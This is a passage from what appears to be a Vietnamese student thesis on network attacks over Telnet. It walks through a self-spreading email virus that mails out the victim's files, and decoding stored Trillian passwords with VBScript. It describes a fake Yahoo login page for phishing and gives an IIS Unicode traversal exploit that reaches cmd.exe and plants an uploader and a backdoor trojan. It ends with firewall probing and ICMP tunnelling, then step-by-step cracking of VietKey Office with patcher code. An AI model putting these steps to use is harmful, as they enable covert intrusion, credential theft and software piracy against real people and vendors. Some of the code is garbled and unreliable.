được thực thi mỗi lần hệ thống khởi động đồng thời tìm tất cả các địa chỉ trong
hộp địa chỉ (Address Book)của người nhận và tiếp tục gửi Email đính kèm Virus
cho họ. Ví dụ, trong hộp địa chỉ của người nhận có 4 địa chỉ là: Tuananh, V1,
Quang, Vu thì sau khi chạy chương trình sẽ có kết quả như sau:
- 58 -
Trong trường hợp ta muốn tìm một tài liệu trên hệ thống của đối tượng thì
sau khi được kích hoạt Virus sẽ tìm trên hệ thống xem có tài liệu đó không, nếu
có thì sẽ gửi tài liệu đó về một địa chỉ đã biết trước. Giả sử ta cần tìm File có tên
là Virus.txt, sau khi chạy chương trình sẽ có kết quả như sau:
- 59 -
3.1.2.5 Chương trình lấy Password của hộp thư điện tử
3.1.2.5.1 Mục đích của chương trình
Thư điện tử (Email) ngày càng được sử dụng một cách rộng rãi trên
mạng Internet do nhu cầu trao đổi, liên lạc thông tin của cá nhân, tổ chức. Để có
thể trao đổi thông tin trên mạng một cách nhanh chóng, thuận tiện mỗi cá nhân,
tổ chức đều đăng ký một hộp thư điện tử cho riêng mình.
Trong một số trường hợp cụ thể, để nắm được những thông tin bí mật
của cá nhân, tổ chức cần thiết phải xâm nhập bí mật vảo hộp thư điện tử của các
cá nhân, tổ chức đó. Để thực hiện được điều này phải lấy được Password của các
hộp thư điện tử cần thu thập thông tin. Đối với lực lượng trinh sát kỹ thuật, trong
những trường hợp cần thu thập thông tin một cách bí mật về đối tượng thì đây là
một trong những biện pháp mang lại hiệu quả cao.
3.1.2.5.2 Các phương án thực hiện
Phương án 1:
Password của các User thường để trong thư mục:
C:\Program files\Trillian\*User*\
- 60 -
Khi sử dụng chương trình trên ta có thể lấy được file chứa password của
User mà ta cần lấy password. Tuy nhiên, password này đã được mã hoá dưới
dạng khác (mỗi chữ bình thường sẽ được encode cho 2 chữ số khác nhau) do đó
ta cần phải giải mã mới thu được password chính xác của User. Dưới đây là
chương trình giải mã File chứa password của Hotmail:
--------------------- Encode Password -------------------------
Dim fso
set fso = createobject("scripting.filesystemobject")
const ForReading = 1
set blockfile = fso.opentextfile("blockfile.txt", ForReading)
password=inputbox("Password (Encoded Trillian passwords are only 32
characters in length)")
length_password = len(password)
if length_password > 32 then password = mid(password,1,32) length_password
= 32
password_timer = 1
all_char = blockfile.readline
do until password_timer > length_password
block_timer = 1
all_char_timer = 1
ablock = blockfile.readline
password_chars = mid(password,password_timer,2)
do
if all_char_timer = 378 then msgbox("Doesn't Match")
if password_chars = mid(ablock,block_timer,2) then realpassword
= realpassword & mid(all_char,all_char_timer,1) : exit do
block_timer = block_timer + 2
- 61 -
all_char_timer = all_char_timer + 1
loop
password_timer = password_timer + 2
loop
ablock.close
the_real_password = inputbox("", "", realpassword)
Phương án 2:
Chúng ta có thể gửi một Yahoo Greeting đến địa chỉ Mail mà ta cần lấy
Password.Trong Yahoo Greeting ta sẽ thực hiện việc Link đến trang Relogin để
User sẽ đăng nhập lại vào trang Login của Yahoo (trang này là do chúng ta tạo
ra). Trong liên kết này phải áp dụng 3 kỹ thuật để che dấu đường dẫn tên miền:
1. Định dạng liên kết giả mạo
Greeting.yahoo.com/xxx…
2. Trong liên kết tới My_Server, định dạng giả mạo tiếp để tránh hiển thị
My_Server trên dòng trạng thái của trình duyệt:
3. Đặt tên đường dẫn đủ dài để che dấu phần địa chỉ sẽ bị che
khuất trên hộp địa chỉ Address.
Khi User đã đăng nhập vào trang Login thì ta sẽ phải thực hiện hai công việc:
- Thứ nhất, cho phép User login vào trang Yahoo thật sự.
- Thứ hai, phải tạo ra một biến để lưu Password khi User đăng nhập vào
trang chủ Yahoo do chúng ta tạo ra.
3.3.2 Phát hiện WEB SERVER bằng Telnet
Để xác định một Web Server ta có thể sử dụng Telnet qua cổng 80 để lấy
những thông tin về Web Server đó:
Telnet 80
- 62 -
Đối với những trang Web giới thiệu, quảng cáo thì việc đặt quyền truy cập
là không cần thiết và không có ý nghĩa. Nhưng với những trang Web có mục
đích kinh doanh, chính trị hoặc hiện tại trong ngành ta có đưa một số dữ liệu
quan trọng thông qua dịch vụ Web thì yếu tố bảo mật thông tin là yếu tố sống
còn trong kinh doanh cũng như trong công tác của ngành.
Ví dụ 1: Để kiểm tra địa chỉ: www.tnh.com.vn ta thực hiện lệnh
Telnet www.tnh.com.vn
Kết quả như sau:
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Wed, 15 May 2004 06:52:31 GMT
Content-Type: text/html
Content-Length: 87
ErrorThe parameter is
incorrect.
Connection to host lost.
Dòng 1: Phiên bản của Http Service : HTTP/1.1 (có khi là PHP/4.0). Đây
là mã trạng thái Html.
Dòng 2: Http Server Microsoft – IIS/4.0.
Dòng 3: Ngày giờ GMT.
Dòng 4: Phân loại nội dung.
Dòng 5: Chiều dài các ký tự.
Ví dụ 2:
C:\> telnet www.astalavista.box.sk 80
GET / HTTP/1.1
- 63 -
HTTP/1.1 400 Bad Request
Date: Wed, 15 May 2004 06:51:37 GMT
Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
Từ đây, ta có thể thấy được đang chạy
Apache V1.3.19 trên nền Unix cùng với PHP V4.0.
Sau đây là một thí dụ về xâm nhập vào một trang Web. Theo thống kê của
Microsoft thì có khoảng 13 triệu trên Internet hiện nay dùng IIS Server cũng như
các sản phẩm của MS thì Version 5 và 6 của IIS Server có một lỗi rất nghiêm
trọng là lỗi UNICODE(Unicode Bug). Tất nhiên là MS đã đưa ra Patch sửa lỗi
nhưng trong số 13 triệu Website vẫn còn có những Website chưa được sửa lỗi.
Sau khi nhận được những thông báo về Server của Website, ta sẽ thực
hiện những bước sau.
Bước 1: Về công cụ, bạn phải cài Perl trên máy(Có thể dùng Active Perl
522 download tại và File Unicode.
Bước 2: Sau khi cài đặt xong Perl, thực hiện lệnh:
Perl Unicode.pl www.Địa chỉ website.com : 80
Câu lệnh này sẽ tìm các Bug ở trên IIS, có 20 Bug UNICODE của IIS. Khi
câu lệnh này Scan được Bug cần tìm ta chỉ cần đưa Bug này vào dòng lệnh:
Telnet://www.Địa chỉ trang Web.com/Bug
Ví dụ như đối với địa chỉ thì sau khi Scan ta thực hiện
câu lệnh như sau:
Telnet://www.iwss.net/cgi-
bin...%c0af..%c0%af..%c0%af..c0%af%..c0%af../winnt/system 32/cmd.exe?/c+
- 64 -
Như vậy là chúng ta đã vào được Server, bạn có thể thực hiện được các
lệnh thông thường của DOS để làm những việc mà bạn mong muốn: mở thư
mục, đổi tên thư mục, xem file, xoá file,…
Bước 3: Điều quan trọng là bạn phải đưa trang Web của mình vào đó, bạn
cần 3 file: cgiecoderloader.pl, upload.asp, upload.in để đưa vào thư mục
C:\inetpub\wwwroot. Sau khi hoàn thành từ Browser bạn có thể Upload những gì
bạn muốn(Telnet://www.địa chỉ trang WEB.com/upload.asp), ta có thể Upload 1
Trorjan Backoffice để mở cổng nào đó để sau này bạn có thể Remote Access
được.
3.3.4 Một số kỹ thuật quét bức tường lửa (Firewall)
3.3.4.1 Khái niệm Firewall
Song song với các giải pháp đảm bảo an ninh cho mạng máy tính như
giải pháp phần cứng và giải pháp về con người thì bức tường lửa là một trong
những giải pháp phần mềm giải quyết vấn đề khá hiệu quả. Trên thực tế hiện nay
đây là một giải pháp phổ biến nhất, kiểm soát hiệu quả nhất các kết nối, trao đổi
thông tin trên mạng.
Bức tường lửa có thể bao gồm một máy tính hoặc thiết bị phần cứng
chuyên dụng, có nhiệm vụ kiểm soát các kết nối mà quá trình trao đổi thông tin
giữa hệ thống mạng cần bảo vệ (mạng bên trong) với một mạng được coi là
không an toàn (mạng bên ngoài- thường là Internet hoặc là mạng được coi là
không an toàn về bảo mật). Bức tường lửa cũng có thể là một hệ thống các thiết
bị, được kết nối thành mạng trung gian giữa hai mạng. Tuy nhiên, nhiệm vụ của
hệ thống này vẫn không thay đổi, đó là thực hiện các nhiệm vụ kiểm soát truy
nhập thông tin giữa mạng bên trong và mạng bên ngoài. Khi đó không một người
sử dụng nào có thể tải trực tiếp về các thông tin, mà đầu tiên họ phải tải về bức
tường lửa rồi từ đó tải về máy trạm. Một bức tường lửa không chỉ đảm bảo sự an
- 65 -
toàn cho các hoạt động bình thường của hệ thống mạng, mà nó còn đóng một vai
trò quan trọng như một giải pháp quản lý đáng tin cậy.
Phân loại bức tường lửa:
- Bức tường lửa lọc gói tin (Filtering Firewall): được gọi là bức tường lửa
mức mạng. Các bức tường lửa loại này làm việc ở mức mạng. Dữ liệu chỉ được
phép rời hệ thống nếu như các luật của bức tường lửa cho phép. Bức tường lửa
thực hiện việc kiểm tra ở mức gói tin của giao thức mạng để kiểm soát các lưu
thông qua chúng. Các quyết định của nó dựa trên các thông tin thu được trong
phần đầu (header) của mỗi gói tin như: số hiệu cổng dịch vụ, địa chỉ nguồn, địa
chỉ đích, loại dịch vụ,…
- Máy chủ ủy quyền(Proxy Server): Bức tường lửa loại này có nhiệm vụ
tạo và kiểm soát các kết nối cho người sử dụng. Nó bao gồm hai loại cơ bản như
sau:
+ Ứng dụng uỷ quyền(Application Proxy): là tường lửa mức ứng dụng.
Các tường lửa mức ứng dụng chạy các dịch vụ uỷ quyền, do đó các lưu thông
hướng ngoại như có nguồn gốc từ bức tường lửa hơn là từ các trạm nội bộ. Bởi
vì các bức tường lửa này quản lý tất cả các kết nối nên chúng có thể thực hiện
việc ghi nhật ký hệ thống và kiểm tra các lưu thông truyền qua chúng.
+ SOCKS uỷ quyền: Một máy chủ SOCKS giống như một SWITCH
chuyển mạch cũ. Nố đơn giản kiểm soát các kết nối hệ thống bên trong và bên
ngoài. Giống như FireWall lọc, chúng không cung cấp khả năng xác thực người
sử dụng. Tuy nhiên chúng cũng có thể ghi nhật ký các kết nối người sử dụng.
3.3.4.2 Một số kỹ thuật quét tường lửa
3.3.4.2.1 Kỹ thuật rà tuyến đường
- 66 -
Một phương pháp để tìm các bức tường lửa trên một mạng khá hiệu quả
đó là dùng Traceroute. Bạn có thể dùng traceroute của UNIX hoặc tracert.exe
của NT để tìm từng chặng dọc trên trên đường truyền đến đích và tiến hành suy
diễn. Traceroute của Linux, thực hiện rà đường bằng cách gửi các gói tin ICMP,
trái với kỹ thuật gói tin UDP ngầm định.
[ sm@atsunami sm] $ traceroute - I www.yourcompany.com
traceroute to www.yourcompany.com ( 172.17.100.2 ) , 30 hops max, 140 byte packets
1 attack-gw ( 192.168.50.21) 5.801 ms 5.105 ms 5.445 ms
2 gw1.smallisp.net ( 192.168.51.l)
3 gw2.smallisp.net ( 192.168.52.2)
.....
13 hssi.bigisp.net ( 10.55.201.2 )
14 seriall.bigisp.net ( 10.55.202.l)
15 www.yourcompany.com ( 172.29.11.2)
Từ những thông số trên, có thể xác định (10.55.202.1) là bức tường lửa.
Nếu các bộ định tuyến giữa bạn và các hệ phục vụ đích đáp ứng các gói tin có
TTL hết hạn. Tuy nhiên, một số bộ định tuyến và bức tường lửa được xác lập để
không trả về các gói tin ICMP lẫn UDP. Trong trường hợp này, sự suy diễn sẽ
không được chắc chắn. Do đó, có thể thực hiện traceroute và xem chặng nào đáp
ứng cuối cùng, và suy ra đây là một bức tường lửa hoặc là bộ định tuyến đầu
tiên trong đường truyền bắt đầu phong tỏa tính năng tracerouting. Ví dụ, ở đây
ICMP đang bị phong tỏa đến đích của nó, và không có đáp ứng nào từ các bộ
định tuyến vượt quá client - gw.smallisp.net :
1 stoneface (192.168.10.33) 12.640 ms 8.367 ms
2 gw1.localisp.net (172.31.10.1) 214.582 ms 197.992 ms
3 gw2.localisp.net (172.31.10.2) 206.627 ms 38.931 ms
4 dsl.localisp.net (172.31.12.254) 47.167 ms 52.640 ms
........
14 ATM6.LAX2.BIGISP.NET (10.50.2.1) 250.030 ms 391.716 ms
- 67 -
15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668 ms 384.525 ms
16 client-gw.smallisp.net (10.50.3.250) 244.065 ms ! X * *
17 * * *
18 * * *
3.3.4.2.2 Kỹ thuật nắm giữ biểu ngữ
Kỹ thuật quét tìm các cổng bức tường lửa là hữu ích trong việc định vị các
bức tường lửa, nhưng hầu hết các bức tường lửa không chờ trên các cổng ngầm
định, do đó việc phát hiện phải được suy diễn. Nhiều bức tường lửa phổ dụng sẽ
công bố sự hiện diện của chúng bằng cách đơn giản nối với chúng. Ví dụ, nhiều
bức tường lửa sẽ công bố chức năng của chúng với vai trò một bức tường lửa, và
một số sẽ quảng cáo kiểu và phiên bản của chúng. Ví dụ, khi ta nối với một máy
được tin là một bức tường lửa bằng Telnet trên cổng 21 (FTP ), ta sẽ thấy được
thông tin sau:
Telnet 192.168.51.129 2l
[UNKNOWN] [ 192.168.5l.129 ] 2 l ( ? ) open
220 Secure Gateway FTP server ready .
Thông tin "Secure Gateway server FTP ready" là một dấu hiệu của bức
tường lửa. Việc nối thêm với cổng 23 (telnet) sẽ xác nhận tên bức tường lửa là
"Eagle."
Telnet 192.168.51.129 23
[UNKNOWN] [ 192.168.5l.129 ] 23 ( ? ) open
Eagle Secure Gateway . Hostname :
Cuối cùng để xác định máy đó có phải là một bức tường lửa không ta có
thể Telnet với cổng 25 ( SMTP ), và nó sẽ báo cho ta biết nó là gì:
Telnet 192.168.51.129 25
[UNKNOWN] [ 192.168.5l.129 ] 25 ( ? ) open
421 fw3.acme.com Sorry, the firewall does not provide mail service to you.
3.3.4.2.3 Kỹ thuật quét bức tường lửa
- 68 -
Sử dụng Hping
Hping là công cụ làm việc bằng cách gửi các gói tin TCP đến một cổng
đích và báo cáo các gói tin mà nó nhận trở lại. Hping trả về nhiều đáp ứng khác
nhau tùy theo vô số điều kiện. Mỗi gói tin từng phần và toàn thể có thể cung cấp
những thông tin khá rõ về các kiểu kiểm soát truy cập của bức tường lửa
(Download tại địa chỉ:www.Genocide2600.com/-tattooman/scanner/hping066).
Khi dùng Hping ta có thể phát hiện các gói tin mở, bị phong tỏa, thả, và
loại bỏ. Trong ví dụ sau đây, hping thông báo cổng 80 đang mở và sẵn sàng nhận
một kết nối. Ta biết điều này bởi nó đã nhận một gói tin với cờ SA được ấn định
(một gói tin SYN/ACK).
[ root@bldg_043 / opt ] # hping www.yourcompany.com -c2 - S
-p80 -n HPING www.yourcomapany.com ( eth0 172.30.1.2 0 ) : S
set, 40 data bytes 60 bytes from 172.30.1.20 : flags=SA
seq=0 ttl=242 id= 65121 win= 64240 time=144.4 ms
Như vậy, ta biết có một cống mở thông đến đích, nhưng chưa biết địa chỉ
của bức tường lửa. Trong ví dụ kế tiếp, hping báo cáo nhận một ICMP
unreachable type 13 từ 192.168.70.2. ICMP type 13 là một gói tin lọc bị ICMP
admin ngăn cấm, thường được gửi từ một bộ định tuyến lọc gói tin.
[root@bldg_043 /opt ] # hping www.yourcompany.com -c2 -S
-p23 -n HPING www.yourcompany.com ( eth0 172.30.1.20 ) : S
set, 40 data bytes ICMP Unreachable type 13 f rom
192.168.70.2
Như vậy sau khi thực hiện những công việc trên, ta đã xác định được
192.168.70.2 chắc chắn là bức tường lửa, và ta biết nó đang phong tỏa cổng 23
đến đích của ta.
Sử dụng cầu lửa(FireWalk)
- 69 -
Firewalk (Download là một công
cụ nhỏ tiện dụng, như một bộ quét cổng, được dùng để phát hiện các cổng mở
đằng sau một bức tường lửa. Firewalk làm việc bằng cách kiến tạo các gói tin
với một IP TTL được tính toán để kết thúc một chặng vượt quá bức tường lửa.
Về lý thuyết, nếu gói tin được bức tường lửa cho phép, nó sẽ được phép đi qua
và sẽ kết thúc như dự kiến, suy ra một thông điệp "ICMP TTL expired in
transit." Mặt khác, nếu gói tin bị ACL của bức tường lửa phong tỏa, nó sẽ bị thả,
và hoặc không có đáp ứng nào sẽ được gửi trả lại, hoặc một gói tin lọc bị ICMP
type 13 admin ngăn cấm sẽ được gửi.
[ root@exposed / root ] # firewalk -pTCP -S135 -140 10.22.3.1
192.168.1.1
Ramping up hopcounts to binding host . . .
probe : 1 TTL : 1 port 33434 : expired from [exposed.acme.com]
probe : 2 TTL : 2 port 33434 : expired from [rtr.isp.net]
probe : 3 TTL : 3 port 33434 : Bound scan at 3 hops [rtr.isp.net]
port open
port 136 : open
port 137 : open
port 138 : open
port 139 : *
port 140 : open
Điểm chú ý khi sử dụng Firewalk đó là nó có thể ít hơn dự đoán, vì một
số bức tường lửa sẽ phát hiện gói tin hết hạn trớc khi kiểm tra các ACL của nó
và cứ thế gửi trả một gói tin ICMP TTL EXPIRED. Kết quả là, Firewalk mặc
nhận tất cả các cổng đều mở.
3.3.4.2.4 Kỹ thuật phân luồng ICMP và UDP
Phân luồng (tunneling) ICMP là khả năng đóng khung dữ liệu thực trong
một phần đầu ICMP. Nhiều bộ định tuyến và bức tường lửa cho phép ICMP
- 70 -
ECHO, ICMP ECHO REPLY, và các gói tin UDP dễ dàng đi qua, và như vậy sẽ
dễ bị xâm phạm trước kiểu tấn công này. Cũng như chỗ yếu Checkpoint, DNS,
kiểu tấn công phân luồng ICMP và UDP dựa trên một hệ thống đã bị xâm phạm
đằng sau bức tường lửa.
Nếu chạy công cụ hệ phục vụ lokid trên một hệ thống đằng sau bức
tường lửa cho phép ICMP ECHO và ECHO REPLY, bạn cho phép kẻ tấn công
chạy công cụ hệ khách (lokid), đóng khung mọi lệnh gửi đi trong các gói tin
ICMP ECHO đến hệ phục vụ (lokid). Công cụ lokid sẽ tháo các lệnh, chạy các
lệnh cục bộ , và đóng khung kết xuất của các lệnh trong các gói tin ICMP ECHO
REPLY trả lại cho bọn tấn công. Dùng kỹ thuật này, kẻ tấn công có thể hoàn
toàn bỏ qua bức tường lửa.
3.3.5 Chương trình Crack phần mềm
3.3.5.1 Khái niệm Crack
Các nhà sản xuất phần mềm để đảm bảo bản quyền cho phần mềm của
mình đều yêu cầu người sử dụng phải đăng ký với nhà sản xuất thì mới sử dụng
được phần mềm của họ. Mọi phần mềm đều có phần đăng ký do nhà sản xuất
đưa ra để người sử dụng đăng ký. Tuy nhiên, không phải người sử dụng nào
cũng có thể đăng ký với nhà sản xuất dẫn đến sự xuất hiện việc sử dụng phần
mềm bất hợp pháp. Để làm được điều đó thì người sử dụng phải thực hiện Crack
phần mềm. Đó chính là việc người sử dụng gỡ bỏ phần đăng ký bắt buộc của các
chương trình phần mềm để có thể sử dụng phần mềm đó mà không cần mua bản
quyền của nhà sản xuất.
3.3.5.2 Các bước để thực hiện Crack
Khi ta đã biết chính xác một địa chỉ của một File trên một Http server ta
có thể Download trực tiếp File đó bằng cách Telnet đến Server qua cổng 80.
Công cụ để sử dụng chúng ta có thể Download trên mạng về, đó là:
- WinDasm 32 (công cụ dùng để disassembler một file ra mã máy).
- 71 -
- Hview (công cụ dùng để sửa đổi mã nguồn chương trình).
Phương pháp Crack dưới đây có thể áp dụng được với khoảng 40% các phần
mềm.
Bước 1: - Chạy chương trình cần Crack
- Xác định lỗi khi đăng ký phần mềm (có thể là Incorrect Password,
Wrong Serial,…)
Bước 2: Dùng WinDasm 32 để mở File cần Crack, từ thông báo lỗi ở trên để
xác định địa chỉ cần sửa đổi.
Bước 3: Dùng Hview để sửa mã nguồn của phần mềm tại địa chỉ đã xác định ở
trên.
3.3.5.3 Crack một phần mềm cụ thể
Sau đây là ví dụ việc thực hiện Crack một phần mềm cụ thể, đó là phần
mềm VietKey Office v2.1 .
VietKey Office v2.1 là một ứng dụng cụ thể giúp chúng ta chuyển mã văn
bản , kiểm tra chính tả,... được nhúng trực tiếp vào thanh công cụ của MicroSoft
Word. Phiên bản 2.1 chưa đăng ký sẽ buộc người sử dụng phải đăng ký phiên
bản chính thức mới được quyền sử dụng tiếp, nó sẽ hiện thông báo đăng ký "Xin
liên hệ với tác giả".
Chúng ta vào Hiew, chọn file vkadd.dot(thanh Menu của VKO trong MS
Word), ấn F4 chọn Hex, Enten. Sau đó, ấn F7 để tìm dòng báo đăng ký “Xin liên
hệ với tác giả”. Dòng thông báo đăng ký là hàm gọi MsgBox của Visual Basic
nên chắc chắn trước nó sẽ là câu lệnh rẽ nhánh điều kiện để đến hộp thoại đăng
ký, vì vậy ta có thể thấy địa chỉ này sẽ là : 00139F7 (ở trước MsgBox một vài
Byte).
Sau đó, ấn F4, rồi chọn Decoder. Ta sẽ thấy đoạn mã sau :
................
- 72 -
000139CC: 7429 je 0000139F7 ====> "Nhảy" đến hộp thoại nếu chưa đăng ký.
000139CE: 810A3030 or w,[bp],[si],03030; “00”
000139D2:A831 test al,031; “1”
.................
000139F2: 9D popf ===> Đưa hộp thoại đăng ký ra màn hình.
.................
000139F4:1420 adc al,020
000139F6: 0000 ađ [bx],[si],al
000139F8: 40 inc ax
..................
Ta đã biết VKO cần điều kiện chưa đăng ký để nhảy đến hộp thoại đăng
ký, ở đây chúng ta có thể sửa thành lệnh nhảy không điều kiện. Như vậy, khi bạn
chưa đăng ký bản quyền vẫn có thể sử dụng chương trình này một cách bình
thường.
Vì vậy, ta đến địa chỉ 00139CC sửa 7429 thành EB29. Khi chạy lại VKO
thì ta có thể sử dụng phần mềm này mà không cần đăng ký.
3.3.5.4 Mã nguồn chương trình Crack
3.3.5.4.1 Chương trình Crack viết bằng Turbo Pascal
Uses CRT;
Const
off = $XXXXXXXX; Địa chỉ offset cần Crack
Var
ch: Char;
Procedure crack(location: longint);
Var F: File of Byte;
X: Array[0..0] of Byte; Số Byte cần crack
Begin
- 73 -
{$I-}
Assign(F,' *.exe '); Tên File cần Crack
Reset(F,1);
{$I+}
If ((IOResult 0)and(Filesize(F)Y))then
Begin
Seek(F,location);
X[0]:=$XX; Số Hexa cần thay đổi của File cần Crack
BlockWrite(F,X[0]);
Close(F);
End;
End.
3.3.5.4.2 Chương trình Crack viết bằng Turbo C
#include conio.h;
#include stdio.h;
#include stdlib.h;
#define off 0xXXXXXXXX; Địa chỉ offset cần crack
Crack(long int location)
{
Unsigned char x[2]; Số byte cần crack
File *f1;
f1=open("*.exe","r+"); File cần crack
If (f1=NULL)
Exit; Thoát nếu không có File cần tìm
Else
{Fseek(f1,location,Seek_set);
X[0]=0xXX; Số Hexa thay đổi thứ nhất của File crack
- 74 -
X[1]=0xXX; Số Hexa thay đổi thứ hai của File crack
Fwrite(x,1,2,f1);
Fclose(f1);
}
return 0;
}
--------------------------o0o---------------------------
KẾT LUẬN
- 75 -
Việc nghiên cứu vấn đề an ninh an toàn cho mạng máy tính là một ván đề
lớn và khó, vì vậy trong phạm vi khoá luận em chỉ đưa ra cái nhìn tổng quan và
giải pháp cơ bản cho vấn đề. Nội dung chính của khoá luận là phần giới thiệu
tổng quan về mạng Internet và cơ chế hoạt động của giao thức Telnet với mục
đích phân tích các nguy cơ tiềm ẩn mà kẻ tấn công có thể lợi dụng để xâm nhập
hệ thống mạng nói chung và qua giao thức Telnet nói riêng, đồng thời đưa ra
một số chương trình ví dụ về tấn công trên mạng qua giao thức Telnet. Trên cơ
sở phân tích những nguy cơ tiềm ẩn với hệ thống mạng em đã nghiên cứu một số
cơ sỏ, giải pháp đảm bảo an ninh cho mạng. Song do lượng thời gian có hạn nên
đã không lột tả hết được vấn đề và kết quả đạt được còn một số hạn chế.
Tuy vậy, việc tiếp cận nghiên cứu vấn đề an ninh an toàn mạng máy tính
đã tạo ra cho bản thân em một phương pháp nghiên cứu, một vốn kiến thức hết
sức quý báu. Trong tương lai, nếu điều kiện học tập và công tác cho phép thì đó
là nền tảng để em hoàn thiện hơn nữa khoá luận đem lại hiệu quả thiết thực hơn.
TÀI LIỆU THAM KHẢO
1. InternetWorking với TCP/IP Tập 1,2 : Nguyễn Quốc Cường.
- 76 -
2. Hệ thống và Internet : Nguyễn Xuân Phong.
3. Bảo mật trên mạng - Bí quyết và giải pháp: Tổng hợp và biên dịch VN-
GUIDE.
4. Hacking Exposed Windows 2000: Network Security Secrets & Solution.
Joel Scambray, Stuart McClure.
5. Hacking Exposed:Network Security Secrets & Solution Second Edition.
6. Network and Internet Security Principles and Practice. William Stallings.
Các file đính kèm theo tài liệu này:
- 2362_8465.pdf